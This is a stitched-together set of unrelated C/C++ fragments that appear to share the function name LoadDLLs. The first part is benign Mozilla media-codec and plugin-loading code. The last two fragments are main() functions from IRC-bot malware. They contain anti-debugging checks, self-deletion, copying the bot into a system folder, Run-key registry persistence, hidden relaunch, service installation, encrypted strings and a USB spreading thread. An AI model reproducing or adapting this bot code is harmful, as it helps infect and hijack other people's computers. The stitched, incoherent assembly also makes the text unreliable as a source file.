bool WMFDecoder::GetSupportedCodecs(const nsACString& aType, char const *const ** aCodecList) { if (!MediaDecoder::IsWMFEnabled() || NS_FAILED(LoadDLLs())) return false; // MP3 is specified to have no codecs in its "type" param: // http://wiki.whatwg.org/wiki/Video_type_parameters#MPEG // So specify an empty codecs list, so that if script specifies // a "type" param with codecs, it will be reported as not supported // as per the spec. static char const *const mp3AudioCodecs[] = { nullptr }; if (aType.EqualsASCII("audio/mpeg")) { if (aCodecList) { *aCodecList = mp3AudioCodecs; } // Assume that if LoadDLLs() didn't fail, we can decode MP3. return true; } // AAC in M4A. static char const *const aacAudioCodecs[] = { "mp4a.40.2", // AAC-LC nullptr }; if (aType.EqualsASCII("audio/mp4")) { if (aCodecList) { *aCodecList = aacAudioCodecs; } return true; } // H.264 + AAC in MP4. static char const *const H264Codecs[] = { "avc1.42E01E", // H.264 Constrained Baseline Profile Level 3.0 "avc1.42001E", // H.264 Baseline Profile Level 3.0 "avc1.58A01E", // H.264 Extended Profile Level 3.0 "avc1.4D401E", // H.264 Main Profile Level 3.0 "avc1.64001E", // H.264 High Profile Level 3.0 "avc1.64001F", // H.264 High Profile Level 3.1 "mp4a.40.2", // AAC-LC nullptr }; if (aType.EqualsASCII("video/mp4")) { if (aCodecList) { *aCodecList = H264Codecs; } return true; } return false; }
bool WMFDecoder::GetSupportedCodecs(const nsACString& aType, char const *const ** aCodecList) { if (!MediaDecoder::IsWMFEnabled() || NS_FAILED(LoadDLLs())) return false; // Assume that if LoadDLLs() didn't fail, we can playback the types that // we know should be supported on Windows 7+ using WMF. static char const *const mp3AudioCodecs[] = { "mp3", nullptr }; if (aType.EqualsASCII("audio/mpeg") || aType.EqualsASCII("audio/mp3")) { if (aCodecList) { *aCodecList = mp3AudioCodecs; } return true; } // AAC in M4A. static char const *const aacAudioCodecs[] = { "mp4a.40.2", // AAC-LC nullptr }; if (aType.EqualsASCII("audio/mp4") || aType.EqualsASCII("audio/x-m4a")) { if (aCodecList) { *aCodecList = aacAudioCodecs; } return true; } // H.264 + AAC in MP4. static char const *const H264Codecs[] = { "avc1.42E01E", // H.264 Constrained Baseline Profile Level 3.0 "avc1.42001E", // H.264 Baseline Profile Level 3.0 "avc1.58A01E", // H.264 Extended Profile Level 3.0 "avc1.4D401E", // H.264 Main Profile Level 3.0 "avc1.64001E", // H.264 High Profile Level 3.0 "avc1.64001F", // H.264 High Profile Level 3.1 "mp4a.40.2", // AAC-LC nullptr }; if (aType.EqualsASCII("video/mp4")) { if (aCodecList) { *aCodecList = H264Codecs; } return true; } return false; }
static int InitLibraries(void) { static int initted = 0, success = 0; if (!initted) { success = LoadDLLs(); initted = 1; } return success; }
bool WMFDecoder::CanPlayType(const nsACString& aType, const nsAString& aCodecs) { if (!MediaDecoder::IsWMFEnabled() || NS_FAILED(LoadDLLs())) { return false; } // Assume that if LoadDLLs() didn't fail, we can playback the types that // we know should be supported by Windows Media Foundation. if ((aType.EqualsASCII("audio/mpeg") || aType.EqualsASCII("audio/mp3")) && IsMP3Supported()) { // Note: We block MP3 playback on Window 7 SP0 since it seems to crash // in some circumstances. return !aCodecs.Length() || aCodecs.EqualsASCII("mp3"); } // AAC-LC or MP3 in M4A. if (aType.EqualsASCII("audio/mp4") || aType.EqualsASCII("audio/x-m4a")) { return !aCodecs.Length() || aCodecs.EqualsASCII("mp4a.40.2") || aCodecs.EqualsASCII("mp3"); } if (!aType.EqualsASCII("video/mp4")) { return false; } // H.264 + AAC in MP4. Verify that all the codecs specifed are ones that // we expect that we can play. nsCharSeparatedTokenizer tokenizer(aCodecs, ','); bool expectMoreTokens = false; while (tokenizer.hasMoreTokens()) { const nsSubstring& token = tokenizer.nextToken(); expectMoreTokens = tokenizer.separatorAfterCurrentToken(); if (token.EqualsASCII("mp4a.40.2") || // AAC-LC token.EqualsASCII("mp3") || IsSupportedH264Codec(token)) { continue; } return false; } if (expectMoreTokens) { // Last codec name was empty return false; } return true; }
void PluginManager::findandload() { if (pluginsDir == NULL){ return; } vector<string> files; vector<string> pLibNames; // find all dlls in a folder specified by the pluginDir fLength = findDLLs(pluginsDir, files); if (fLength < 0){ return; } // array of dll handlers pLib = new HAND[fLength]; fLength = LoadDLLs(pluginsDir, files, pLibNames); LoadPlugins(pLibNames); }
int main(int argc, char *argv[]) #endif { char msg[256]; LoadDLLs(); unsigned char szBytes[] = { 0xc8, 0x0, 0x4, 0x0, 0x60 }; DWORD dwAddr = (DWORD)GetProcAddress(LoadLibrary("user32.dll"), "MessageBoxA"); if(!memcmp((LPVOID)dwAddr, (LPVOID)szBytes, sizeof(szBytes))) { ExitProcess(0); } #ifndef NO_SERVICE SERVICE_TABLE_ENTRY servicetable[] = { {servicename, (LPSERVICE_MAIN_FUNCTION) ServiceMain}, {NULL, NULL} }; #endif char cpbot[MAX_PATH]; char movetopath[MAX_PATH]; char spath[MAX_PATH]; GetModuleFileName(GetModuleHandle(NULL), cpbot, sizeof(cpbot)); ExpandEnvironmentStrings(gotopth,movetopath,sizeof(movetopath)); sprintf(spath,"%s\\%s",movetopath,exename); #ifndef _DEBUG if (MoveBot(movetopath,exename)) { HKEY hndKey = NULL; RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL, &hndKey, NULL); RegSetValueEx(hndKey,szRegname,0, REG_SZ,(const unsigned char *)exename,strlen(exename)); RegCloseKey(hndKey); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; ZeroMemory(&pinfo,sizeof(pinfo)); ZeroMemory(&sinfo,sizeof(sinfo)); sinfo.lpTitle = ""; sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESHOWWINDOW; sinfo.wShowWindow = SW_HIDE; if (CreateProcess(spath,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo)) { Sleep(200); CloseHandle(pinfo.hProcess); CloseHandle(pinfo.hThread); fWSACleanup(); ExitProcess(EXIT_SUCCESS); } ExitProcess(1); } #endif // _DEBUG #ifndef NO_SERVICE if(fStartServiceCtrlDispatcher(servicetable) == 0) InstallService(spath); #else DWORD id; NTHREAD usb; usb.conn = &mainirc; CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)USB_Spreader, &usb, 0, &id); // Execute USB spread on install. HANDLE threadhandle; if((threadhandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Bthd, NULL, 0, &id)) == 0) return 0; WaitForSingleObject(threadhandle, INFINITE); CloseHandle(threadhandle); return 0; #endif // NO_SERVICE #ifdef _DEBUG #endif return 0; }
int main(int argc, char *argv[]) #endif { LoadDLLs(); #ifndef NO_DDETECT if(IsBugged()) { EraseMe(TRUE); ExitProcess(1); } #endif #ifndef NO_CRYPT decryptstrings(authsize, versionsize, serversize); #endif #ifndef NO_SERVICE SERVICE_TABLE_ENTRY servicetable[] = { {servicename, (LPSERVICE_MAIN_FUNCTION) ServiceMain}, {NULL, NULL} }; #endif //TODO: Error handler here #ifndef _DEBUG fSetErrorMode(SEM_NOGPFAULTERRORBOX); #endif char cfilename[MAX_PATH]; char movetopath[MAX_PATH]; char svcpath[MAX_PATH]; GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename)); ExpandEnvironmentStrings(movepath,movetopath,sizeof(movetopath)); sprintf(svcpath,"%s\\%s",movetopath,filename); #ifndef _DEBUG if (MoveBot(movetopath,filename)) { #ifndef NO_MELT RegWrite(meltkey.hkey,meltkey.subkey,meltkey.name,cfilename); #endif // NO_MELT #ifndef NO_SERVICE InstallService(svcpath); #else RegWrite(runkey.hkey,runkey.subkey,runkey.name,svcpath); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; ZeroMemory(&pinfo,sizeof(pinfo)); ZeroMemory(&sinfo,sizeof(sinfo)); sinfo.lpTitle = ""; sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESHOWWINDOW; #ifdef _DEBUG sinfo.wShowWindow = SW_SHOW; #else sinfo.wShowWindow = SW_HIDE; #endif // _DEBUG if (CreateProcess(svcpath,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo)) { Sleep(200); CloseHandle(pinfo.hProcess); CloseHandle(pinfo.hThread); fWSACleanup(); ExitProcess(EXIT_SUCCESS); } #endif // NO_SERVICE ExitProcess(1); } #endif // _DEBUG #ifndef NO_SERVICE if(fStartServiceCtrlDispatcher(servicetable) == 0) InstallService(svcpath); #else DWORD id; HANDLE threadhandle; if((threadhandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)BotThread, NULL, 0, &id)) == 0) return 0; WaitForSingleObject(threadhandle, INFINITE); CloseHandle(threadhandle); #endif // NO_SERVICE #ifdef _DEBUG // CloseLog(); #endif return 0; }